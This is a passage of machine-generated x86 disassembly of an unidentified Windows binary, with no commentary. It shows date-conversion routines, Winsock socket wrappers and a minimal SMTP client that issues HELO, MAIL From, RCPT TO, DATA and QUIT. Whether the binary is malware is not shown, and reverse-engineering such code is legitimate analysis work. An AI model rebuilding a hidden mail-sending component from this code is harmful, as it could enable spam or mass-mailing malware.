ecx, 0FE624E21h push ecx push eax call sub_401050 mov ecx, [ebp+arg_0] test ecx, ecx jz short locret_40CFE5 mov [ecx], eax locret_40CFE5: ; CODE XREF: sub_40CFAE+33j leave retn sub_40CFAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFE7 proc near ; CODE XREF: sub_40D0C9+37p ; sub_40D0C9+C4p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push esi mov esi, [eax] mov eax, esi cdq push 0 add eax, 0B6109100h push 989680h adc edx, 2 push edx push eax call sub_401170 mov [ebp+var_8], eax mov eax, edx sar eax, 1Fh lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax mov [ebp+var_4], edx call ds:dword_41803C movzx eax, [ebp+var_C] mov dword_421D18, eax movzx eax, [ebp+var_E] mov dword_421D1C, eax movzx eax, [ebp+var_10] mov dword_421D20, eax movzx eax, [ebp+var_12] mov dword_421D24, eax movzx eax, [ebp+var_16] dec eax mov dword_421D28, eax movzx eax, [ebp+var_18] sub eax, 76Ch mov dword_421D2C, eax movzx eax, [ebp+var_14] mov dword_421D30, eax mov eax, esi cdq mov ecx, 0F879E080h idiv ecx and dword_421D38, 0 imul eax, 7861F80h add esi, eax mov eax, 1E13380h cmp esi, eax jl short loc_40D09F sub esi, eax cmp esi, eax jl short loc_40D09F sub esi, eax mov eax, 1E28500h cmp esi, eax jl short loc_40D09F sub esi, eax loc_40D09F: ; CODE XREF: sub_40CFE7+A3j ; sub_40CFE7+A9j ... mov eax, esi cdq mov ecx, 15180h idiv ecx pop esi mov dword_421D34, eax mov eax, offset dword_421D18 leave retn sub_40CFE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D0B6 proc near ; CODE XREF: sub_401D97+12p ; sub_401DB5+14p ... jmp sub_40CCC5 sub_40D0B6 endp ; =============== S U B R O U T I N E ======================================= sub_40D0BB proc near ; CODE XREF: sub_401269+3p ; sub_4012B3+1Ap ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 call sub_40CC93 pop ecx pop ecx retn sub_40D0BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40D0C9 proc near ; CODE XREF: sub_405D38+2Fp var_B0 = dword ptr -0B0h var_6A = word ptr -6Ah var_68 = word ptr -68h var_66 = word ptr -66h var_5C = dword ptr -5Ch var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0B0h lea eax, [ebp+74h+var_B0] push eax call ds:dword_418038 cmp eax, 0FFFFFFFFh jnz short loc_40D0EA xor eax, eax jmp loc_40D1A1 ; --------------------------------------------------------------------------- loc_40D0EA: ; CODE XREF: sub_40D0C9+18j mov eax, [ebp+74h+var_B0] mov ecx, [ebp+74h+arg_0] imul eax, 3Ch push esi push edi mov edi, [ecx] sub edi, eax lea eax, [ebp+74h+var_4] push eax mov [ebp+74h+var_4], edi call sub_40CFE7 mov esi, eax xor eax, eax cmp [ebp+74h+var_16], ax pop ecx jz loc_40D19D cmp [ebp+74h+var_8], eax jz loc_40D19D mov ecx, [esi+10h] mov edx, [esi+0Ch] inc ecx cmp edx, eax push ebx jle short loc_40D134 lea eax, [edx-1] push 7 xor edx, edx pop ebx div ebx inc eax loc_40D134: ; CODE XREF: sub_40D0C9+5Ej movzx edx, [ebp+74h+var_16] cmp ecx, edx jl short loc_40D19C jnz short loc_40D15A movzx edi, [ebp+74h+var_12] movzx ebx, [ebp+74h+var_14] imul edi, 7 mov edx, eax imul edx, 7 add edx, [esi+18h] add edi, ebx cmp edx, edi jl short loc_40D19C mov edi, [ebp+74h+var_4] loc_40D15A: ; CODE XREF: sub_40D0C9+73j movzx edx, [ebp+74h+var_6A] cmp ecx, edx jg short loc_40D19C jnz short loc_40D17B movzx ecx, [ebp+74h+var_66] imul eax, 7 movzx edx, [ebp+74h+var_68] imul ecx, 7 add eax, [esi+18h] add ecx, edx cmp eax, ecx jg short loc_40D19C loc_40D17B: ; CODE XREF: sub_40D0C9+99j mov eax, [ebp+74h+var_5C] sub eax, [ebp+74h+var_8] imul eax, 3Ch add edi, eax lea eax, [ebp+74h+var_4] push eax mov [ebp+74h+var_4], edi call sub_40CFE7 mov esi, eax pop ecx mov dword ptr [esi+20h], 1 loc_40D19C: ; CODE XREF: sub_40D0C9+71j ; sub_40D0C9+8Cj ... pop ebx loc_40D19D: ; CODE XREF: sub_40D0C9+45j ; sub_40D0C9+4Ej pop edi mov eax, esi pop esi loc_40D1A1: ; CODE XREF: sub_40D0C9+1Cj add ebp, 74h leave retn sub_40D0C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1A6 proc near ; CODE XREF: sub_407119+99p ; sub_4074FB+4Dp ... var_18 = word ptr -18h var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push esi mov esi, [eax] push edi mov eax, esi cdq push 0 add eax, 0B6109100h push 989680h adc edx, 2 push edx push eax call sub_401170 mov [ebp+var_8], eax mov eax, edx sar eax, 1Fh lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax mov [ebp+var_4], edx call ds:dword_41803C mov ecx, [ebp+arg_4] movzx eax, [ebp+var_C] mov [ecx], eax movzx eax, [ebp+var_E] mov [ecx+4], eax movzx eax, [ebp+var_10] mov [ecx+8], eax movzx eax, [ebp+var_12] mov [ecx+0Ch], eax movzx eax, [ebp+var_16] dec eax mov [ecx+10h], eax movzx eax, [ebp+var_18] sub eax, 76Ch mov [ecx+14h], eax movzx eax, [ebp+var_14] mov [ecx+18h], eax mov eax, esi cdq mov edi, 0F879E080h idiv edi and dword ptr [ecx+20h], 0 imul eax, 7861F80h add esi, eax mov eax, 1E13380h cmp esi, eax jl short loc_40D250 sub esi, eax cmp esi, eax jl short loc_40D250 sub esi, eax mov eax, 1E28500h cmp esi, eax jl short loc_40D250 sub esi, eax loc_40D250: ; CODE XREF: sub_40D1A6+95j ; sub_40D1A6+9Bj ... mov eax, esi cdq mov esi, 15180h idiv esi pop edi pop esi mov [ecx+1Ch], eax leave retn sub_40D1A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_40D261 proc near ; CODE XREF: sub_407119+A5p var_B0 = dword ptr -0B0h var_6A = word ptr -6Ah var_68 = word ptr -68h var_66 = word ptr -66h var_5C = dword ptr -5Ch var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 0B0h lea eax, [ebp+70h+var_B0] push eax call ds:dword_418038 cmp eax, 0FFFFFFFFh jnz short loc_40D282 xor al, al jmp loc_40D33C ; --------------------------------------------------------------------------- loc_40D282: ; CODE XREF: sub_40D261+18j mov eax, [ebp+70h+var_B0] mov ecx, [ebp+70h+arg_0] imul eax, 3Ch push esi mov esi, [ebp+70h+arg_4] push edi mov edi, [ecx] sub edi, eax lea eax, [ebp+70h+var_4] push esi push eax mov [ebp+70h+var_4], edi call sub_40D1A6 xor eax, eax cmp [ebp+70h+var_16], ax pop ecx pop ecx jz loc_40D338 cmp [ebp+70h+var_8], eax jz loc_40D338 mov ecx, [esi+10h] mov edx, [esi+0Ch] inc ecx cmp edx, eax push ebx jle short loc_40D2CF lea eax, [edx-1] push 7 xor edx, edx pop ebx div ebx inc eax loc_40D2CF: ; CODE XREF: sub_40D261+61j movzx edx, [ebp+70h+var_16] cmp ecx, edx jl short loc_40D337 jnz short loc_40D2F5 movzx edi, [ebp+70h+var_12] movzx ebx, [ebp+70h+var_14] imul edi, 7 mov edx, eax imul edx, 7 add edx, [esi+18h] add edi, ebx cmp edx, edi jl short loc_40D337 mov edi, [ebp+70h+var_4] loc_40D2F5: ; CODE XREF: sub_40D261+76j movzx edx, [ebp+70h+var_6A] cmp ecx, edx jg short loc_40D337 jnz short loc_40D316 movzx ecx, [ebp+70h+var_66] imul eax, 7 movzx edx, [ebp+70h+var_68] imul ecx, 7 add eax, [esi+18h] add ecx, edx cmp eax, ecx jg short loc_40D337 loc_40D316: ; CODE XREF: sub_40D261+9Cj mov eax, [ebp+70h+var_5C] sub eax, [ebp+70h+var_8] push esi imul eax, 3Ch add edi, eax lea eax, [ebp+70h+var_4] push eax mov [ebp+70h+var_4], edi call sub_40D1A6 pop ecx pop ecx mov dword ptr [esi+20h], 1 loc_40D337: ; CODE XREF: sub_40D261+74j ; sub_40D261+8Fj ... pop ebx loc_40D338: ; CODE XREF: sub_40D261+48j ; sub_40D261+51j pop edi mov al, 1 pop esi loc_40D33C: ; CODE XREF: sub_40D261+1Cj add ebp, 70h leave retn sub_40D261 endp ; =============== S U B R O U T I N E ======================================= sub_40D341 proc near ; CODE XREF: sub_4012B3+27p arg_0 = dword ptr 4 push esi mov esi, ecx and dword ptr [esi], 0 lea ecx, [esi+4] call sub_40DB48 push [esp+4+arg_0] mov ecx, esi call sub_404191 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 mov eax, esi pop esi retn 4 sub_40D341 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D368 proc near ; CODE XREF: sub_40D4E1+Bp ; sub_40D55B+4Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov edi, ecx lea ecx, [ebp+var_4] call sub_40DB48 cmp [ebp+arg_4], 0 jnz short loc_40D384 xor esi, esi jmp short loc_40D38F ; --------------------------------------------------------------------------- loc_40D384: ; CODE XREF: sub_40D368+16j push [ebp+arg_4] call sub_40CD83 pop ecx mov esi, eax loc_40D38F: ; CODE XREF: sub_40D368+1Aj push [ebp+arg_0] call sub_40CD83 pop ecx lea eax, [eax+esi+1] push eax lea ecx, [ebp+var_4] call sub_40DADA push [ebp+arg_4] lea eax, [ebp+var_4] push [ebp+arg_0] push eax call sub_40DB15 add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_40D3C1 xor esi, esi jmp short loc_40D3CC ; --------------------------------------------------------------------------- loc_40D3C1: ; CODE XREF: sub_40D368+53j push [ebp+var_4] call sub_40CD83 pop ecx mov esi, eax loc_40D3CC: ; CODE XREF: sub_40D368+57j mov ecx, [edi] lea edx, [ebp+var_8] push edx push esi push [ebp+var_4] mov [ebp+var_8], 3Ch mov eax, [ecx] call dword ptr [eax+8] cmp eax, esi lea ecx, [ebp+var_4] setz bl call sub_40DB59 pop edi pop esi mov al, bl pop ebx leave retn 8 sub_40D368 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3F8 proc near ; CODE XREF: sub_40D4D4+7p ; sub_40D4E1+1Ep ... var_100C = byte ptr -100Ch var_1009 = byte ptr -1009h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_4011B0 push ebx push esi push edi mov edi, ecx lea ecx, [ebp+var_8] call sub_40DB48 push 3Ch pop ebx lea edx, [ebp+var_C] push edx lea esi, [ebp+var_100C] push 1 mov edx, esi mov [ebp+var_1], 0 push edx jmp short loc_40D466 ; --------------------------------------------------------------------------- loc_40D42A: ; CODE XREF: sub_40D3F8+7Bj cmp byte ptr [esi], 0Ah jnz short loc_40D45E lea eax, [ebp+var_100C] push eax lea ecx, [ebp+var_8] mov byte ptr [esi], 0 call sub_401AA0 cmp [ebp+var_1009], 20h jz short loc_40D475 push offset dword_41C228 lea ecx, [ebp+var_8] call sub_401AA0 lea esi, [ebp+var_100C] dec esi loc_40D45E: ; CODE XREF: sub_40D3F8+35j lea edx, [ebp+var_C] push edx inc esi push 1 push esi loc_40D466: ; CODE XREF: sub_40D3F8+30j mov ecx, [edi] mov [ebp+var_C], ebx mov eax, [ecx] call dword ptr [eax+4] cmp eax, 1 jz short loc_40D42A loc_40D475: ; CODE XREF: sub_40D3F8+50j push offset dword_41BDD8 push [ebp+var_8] xor esi, esi call sub_40CD44 test eax, eax pop ecx pop ecx jz short loc_40D4AD push 3 push [ebp+var_8] lea eax, [ebp+var_C] push eax call sub_40CD9D lea eax, [ebp+var_C] push eax call sub_40CE59 mov esi, eax add esp, 10h cmp [ebp+arg_0], esi setz [ebp+var_1] loc_40D4AD: ; CODE XREF: sub_40D3F8+90j cmp [ebp+arg_4], 0 jz short loc_40D4C2 lea eax, [ebp+var_8] push eax lea ecx, [edi+4] mov [edi+8], esi call sub_40DC39 loc_40D4C2: ; CODE XREF: sub_40D3F8+B9j lea ecx, [ebp+var_8] call sub_40DB59 mov al, [ebp+var_1] pop edi pop esi pop ebx leave retn 8 sub_40D3F8 endp ; =============== S U B R O U T I N E ======================================= sub_40D4D4 proc near ; CODE XREF: sub_405675+13Cp ; sub_40D5DD+6p push 1 push 0DCh call sub_40D3F8 retn sub_40D4D4 endp ; =============== S U B R O U T I N E ======================================= sub_40D4E1 proc near ; CODE XREF: sub_40D513+10p ; sub_40D52B+10p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push [esp+4+arg_4] mov esi, ecx push [esp+8+arg_0] call sub_40D368 test al, al jz short loc_40D50D push [esp+4+arg_C] mov ecx, esi push [esp+8+arg_8] call sub_40D3F8 test al, al jz short loc_40D50D xor eax, eax inc eax jmp short loc_40D50F ; --------------------------------------------------------------------------- loc_40D50D: ; CODE XREF: sub_40D4E1+12j ; sub_40D4E1+25j xor eax, eax loc_40D50F: ; CODE XREF: sub_40D4E1+2Aj pop esi retn 10h sub_40D4E1 endp ; =============== S U B R O U T I N E ======================================= sub_40D513 proc near ; CODE XREF: sub_40D5DD+1Ep arg_0 = dword ptr 4 push 1 push 0FAh push [esp+8+arg_0] push offset aHeloS ; "HELO %s\r\n" call sub_40D4E1 retn 4 sub_40D513 endp ; =============== S U B R O U T I N E ======================================= sub_40D52B proc near ; CODE XREF: sub_40D5DD+36p arg_0 = dword ptr 4 push 1 push 0FAh push [esp+8+arg_0] push offset aMailFromS ; "MAIL From:<%s>\r\n" call sub_40D4E1 retn 4 sub_40D52B endp ; =============== S U B R O U T I N E ======================================= sub_40D543 proc near ; CODE XREF: sub_40D5DD+4Ep arg_0 = dword ptr 4 push 1 push 0FAh push [esp+8+arg_0] push offset aRcptToS ; "RCPT TO:<%s>\r\n" call sub_40D4E1 retn 4 sub_40D543 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D55B proc near ; CODE XREF: sub_40D5DD+66p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi push 1 push 162h push 0 push offset aData ; "DATA\r\n" mov esi, ecx call sub_40D4E1 test al, al jz short loc_40D5C2 push edi push [ebp+arg_0] call sub_40CD83 pop ecx mov ecx, [esi] lea edx, [ebp+var_4] mov edi, eax push edx push edi push [ebp+arg_0] mov [ebp+var_4], 3Ch mov eax, [ecx] call dword ptr [eax+8] cmp eax, edi pop edi jnz short loc_40D5C2 push 0 push offset a_ ; "\r\n.\r\n" mov ecx, esi call sub_40D368 test al, al jz short loc_40D5C2 push 1 push 0FAh mov ecx, esi call sub_40D3F8 jmp short loc_40D5C4 ; --------------------------------------------------------------------------- loc_40D5C2: ; CODE XREF: sub_40D55B+1Cj ; sub_40D55B+43j ... xor al, al loc_40D5C4: ; CODE XREF: sub_40D55B+65j pop esi leave retn 4 sub_40D55B endp ; =============== S U B R O U T I N E ======================================= sub_40D5C9 proc near ; CODE XREF: sub_40D5DD+7Cp push 0 push 0DDh push 0 push offset aQuit ; "QUIT\r\n" call sub_40D4E1 retn sub_40D5C9 endp ; =============== S U B R O U T I N E ======================================= sub_40D5DD proc near ; CODE XREF: sub_402624+353p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov esi, ecx xor bl, bl call sub_40D4D4 test al, al jnz short loc_40D5F5 mov dword ptr [esi+0Ch], 1 jmp short loc_40D657 ; --------------------------------------------------------------------------- loc_40D5F5: ; CODE XREF: sub_40D5DD+Dj push [esp+8+arg_0] mov ecx, esi call sub_40D513 test al, al jnz short loc_40D60D mov dword ptr [esi+0Ch], 2 jmp short loc_40D657 ; --------------------------------------------------------------------------- loc_40D60D: ; CODE XREF: sub_40D5DD+25j push [esp+8+arg_4] mov ecx, esi call sub_40D52B test al, al jnz short loc_40D625 mov dword ptr [esi+0Ch], 3 jmp short loc_40D657 ; --------------------------------------------------------------------------- loc_40D625: ; CODE XREF: sub_40D5DD+3Dj push [esp+8+arg_8] mov ecx, esi call sub_40D543 test al, al jnz short loc_40D63D mov dword ptr [esi+0Ch], 4 jmp short loc_40D657 ; --------------------------------------------------------------------------- loc_40D63D: ; CODE XREF: sub_40D5DD+55j push [esp+8+arg_C] mov ecx, esi call sub_40D55B test al, al jnz short loc_40D655 mov dword ptr [esi+0Ch], 5 jmp short loc_40D657 ; --------------------------------------------------------------------------- loc_40D655: ; CODE XREF: sub_40D5DD+6Dj mov bl, 1 loc_40D657: ; CODE XREF: sub_40D5DD+16j ; sub_40D5DD+2Ej ... mov ecx, esi call sub_40D5C9 pop esi mov al, bl pop ebx retn 10h sub_40D5DD endp ; =============== S U B R O U T I N E ======================================= sub_40D665 proc near ; CODE XREF: sub_40DD92+9p xor eax, eax cmp dword ptr [ecx+4], 0FFFFFFFFh setnz al retn sub_40D665 endp ; =============== S U B R O U T I N E ======================================= sub_40D66F proc near ; CODE XREF: sub_40D737+25p ; sub_40D767+20p ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D682 call ds:dword_418198 mov [esi+8], eax loc_40D682: ; CODE XREF: sub_40D66F+8j pop esi retn 4 sub_40D66F endp ; =============== S U B R O U T I N E ======================================= sub_40D686 proc near ; CODE XREF: sub_408361+1Cp ; sub_40B016+32p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov ebx, [eax] xor edx, edx test ebx, ebx jbe short loc_40D6A9 push esi push edi mov edi, [ecx+4] lea esi, [eax+4] loc_40D69B: ; CODE XREF: sub_40D686+1Fj cmp [esi], edi jz short loc_40D6A7 inc edx add esi, 4 cmp edx, ebx jb short loc_40D69B loc_40D6A7: ; CODE XREF: sub_40D686+17j pop edi pop esi loc_40D6A9: ; CODE XREF: sub_40D686+Bj cmp edx, ebx jnz short loc_40D6BE cmp ebx, 400h jnb short loc_40D6BE mov ecx, [ecx+4] mov [eax+edx*4+4], ecx inc dword ptr [eax] loc_40D6BE: ; CODE XREF: sub_40D686+25j ; sub_40D686+2Dj pop ebx retn 4 sub_40D686 endp ; =============== S U B R O U T I N E ======================================= sub_40D6C2 proc near ; CODE XREF: sub_408361+68p ; sub_40B016+6Dp ... arg_0 = dword ptr 4 push [esp+arg_0] push dword ptr [ecx+4] call sub_4177DC neg eax sbb eax, eax neg eax retn 4 sub_40D6C2 endp ; =============== S U B R O U T I N E ======================================= sub_40D6D7 proc near ; CODE XREF: sub_408361+2Ep ; sub_40B016+40p arg_0 = dword ptr 4 mov eax, [ecx+4] mov ecx, [esp+arg_0] cmp eax, [ecx] jle short loc_40D6E8 mov [ecx], eax mov al, 1 jmp short locret_40D6EA ; --------------------------------------------------------------------------- loc_40D6E8: ; CODE XREF: sub_40D6D7+9j xor al, al locret_40D6EA: ; CODE XREF: sub_40D6D7+Fj retn 4 sub_40D6D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6ED proc near ; CODE XREF: sub_40D719+11p arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_5 = byte ptr 0Dh arg_6 = byte ptr 0Eh arg_7 = byte ptr 0Fh push ebp mov ebp, esp movzx eax, [ebp+arg_7] push eax movzx eax, [ebp+arg_6] push eax movzx eax, [ebp+arg_5] push eax movzx eax, [ebp+arg_4] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_40CE18 mov eax, [ebp+arg_0] add esp, 18h pop ebp retn sub_40D6ED endp ; =============== S U B R O U T I N E ======================================= sub_40D719 proc near ; CODE XREF: sub_416E86+29p push esi push edi push 10h mov esi, ecx call sub_40D0BB push dword ptr [esi+4] mov edi, eax push edi call sub_40D6ED add esp, 0Ch mov eax, edi pop edi pop esi retn sub_40D719 endp ; =============== S U B R O U T I N E ======================================= sub_40D737 proc near ; CODE XREF: sub_40DD7C+7p ; sub_40E0AC+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] mov esi, ecx push [esp+8+arg_0] mov dword ptr [esi], offset off_41C280 push 2 call ds:dword_4181D0 cmp eax, 0FFFFFFFFh mov [esi+4], eax setz al mov ecx, esi push eax call sub_40D66F mov eax, esi pop esi retn 8 sub_40D737 endp ; =============== S U B R O U T I N E ======================================= sub_40D767 proc near ; CODE XREF: sub_40DF53+9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push [esp+8+arg_4] mov esi, ecx push [esp+0Ch+arg_0] push dword ptr [esi+4] call ds:dword_418190 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi retn 8 sub_40D767 endp ; =============== S U B R O U T I N E ======================================= sub_40D793 proc near ; CODE XREF: sub_40694B+62p ; sub_40B29D+3Bp ... arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] mov esi, ecx push dword ptr [esi+4] call ds:dword_4181C8 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi retn 4 sub_40D793 endp ; =============== S U B R O U T I N E ======================================= sub_40D7BB proc near ; CODE XREF: sub_40DFF7+25p arg_0 = dword ptr 4 push esi push edi push 10h push [esp+0Ch+arg_0] mov esi, ecx push dword ptr [esi+4] call ds:dword_41818C mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi retn 4 sub_40D7BB endp ; =============== S U B R O U T I N E ======================================= sub_40D7E5 proc near ; CODE XREF: sub_40DA80+2Ep arg_0 = dword ptr 4 push esi push edi push 10h push [esp+0Ch+arg_0] mov esi, ecx push dword ptr [esi+4] call ds:dword_41819C mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi retn 4 sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= sub_40D80F proc near ; CODE XREF: sub_40DDB5+91p ; sub_40E0D4+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi push [esp+8+arg_8] mov esi, ecx push [esp+0Ch+arg_4] push [esp+10h+arg_0] push dword ptr [esi+4] call ds:dword_418188 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi retn 0Ch sub_40D80F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D83F proc near ; CODE XREF: sub_40B232+47p ; sub_415006+21p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi push edi push [ebp+arg_10] mov esi, ecx push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [esi+4] call ds:dword_4181D8 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi pop ebp retn 14h sub_40D83F endp ; =============== S U B R O U T I N E ======================================= sub_40D876 proc near ; CODE XREF: sub_40DE7D+91p ; sub_40E0C2+Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi push [esp+8+arg_8] mov esi, ecx push [esp+0Ch+arg_4] push [esp+10h+arg_0] push dword ptr [esi+4] call ds:dword_4181A0 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi retn 0Ch sub_40D876 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8A6 proc near ; CODE XREF: sub_40B016+A2p ; sub_416254+39p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi push edi push [ebp+arg_10] mov esi, ecx push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [esi+4] call ds:dword_418184 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi pop ebp retn 14h sub_40D8A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8DD proc near ; CODE XREF: sub_40DA13+17p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi xor eax, eax push eax push eax mov esi, ecx lea ecx, [ebp+var_4] push ecx push eax push eax push 4 push [ebp+arg_4] mov [ebp+var_4], eax push [ebp+arg_0] push dword ptr [esi+4] call ds:dword_4181E0 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi leave retn 8 sub_40D8DD endp ; =============== S U B R O U T I N E ======================================= sub_40D91B proc near ; CODE XREF: sub_40D9FD+Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi push [esp+8+arg_C] mov esi, ecx push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push dword ptr [esi+4] call ds:dword_4181D4 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi retn 10h sub_40D91B endp ; =============== S U B R O U T I N E ======================================= sub_40D94F proc near ; CODE XREF: sub_40B29D+9Dp ; sub_4171C1+D2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push [esp+8+arg_4] mov esi, ecx push [esp+0Ch+arg_0] push dword ptr [esi+4] call ds:dword_4181B8 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi retn 8 sub_40D94F endp ; =============== S U B R O U T I N E ======================================= sub_40D97B proc near ; CODE XREF: sub_40856C+61p ; sub_416E86+21p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push [esp+8+arg_4] mov esi, ecx push [esp+0Ch+arg_0] push dword ptr [esi+4] call ds:dword_4181BC mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi retn 8 sub_40D97B endp ; =============== S U B R O U T I N E ======================================= sub_40D9A7 proc near ; CODE XREF: sub_40DA75+6j ; sub_40DAB8+9p push esi mov esi, ecx mov eax, [esi+4] push edi xor edi, edi cmp eax, 0FFFFFFFFh jz short loc_40D9D0 push eax call ds:dword_4181E4 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F or dword ptr [esi+4], 0FFFFFFFFh loc_40D9D0: ; CODE XREF: sub_40D9A7+Cj mov eax, edi pop edi pop esi retn sub_40D9A7 endp ; =============== S U B R O U T I N E ======================================= sub_40D9D5 proc near ; CODE XREF: sub_40DD92+16p arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] mov esi, ecx push dword ptr [esi+4] call ds:dword_4181C0 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F mov eax, edi pop edi pop esi retn 4 sub_40D9D5 endp ; =============== S U B R O U T I N E ======================================= sub_40D9FD proc near ; CODE XREF: sub_40BFB2+38p arg_0 = byte ptr 4 push 4 lea eax, [esp+4+arg_0] push eax push 4 push 0FFFFh call sub_40D91B retn 4 sub_40D9FD endp ; =============== S U B R O U T I N E ======================================= sub_40DA13 proc near ; CODE XREF: sub_405E95+32p ; sub_405E95+4Dp ... arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax setz al mov [esp+arg_0], eax lea eax, [esp+arg_0] push eax push 8004667Eh call sub_40D8DD retn 4 sub_40DA13 endp ; =============== S U B R O U T I N E ======================================= sub_40DA32 proc near ; CODE XREF: sub_40C627+66p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi mov esi, [esp+4+arg_0] mov al, [esi] cmp al, 30h jl short loc_40DA5D cmp al, 39h jg short loc_40DA5D push esi call ds:dword_4181CC cmp eax, 0FFFFFFFFh jz short loc_40DA5D loc_40DA4D: ; CODE XREF: sub_40DA32+3Dj cmp [esp+4+arg_4], 0 jz short loc_40DA73 push eax call ds:dword_4181B0 pop esi retn ; --------------------------------------------------------------------------- loc_40DA5D: ; CODE XREF: sub_40DA32+9j ; sub_40DA32+Dj ... push esi call ds:dword_4181C4 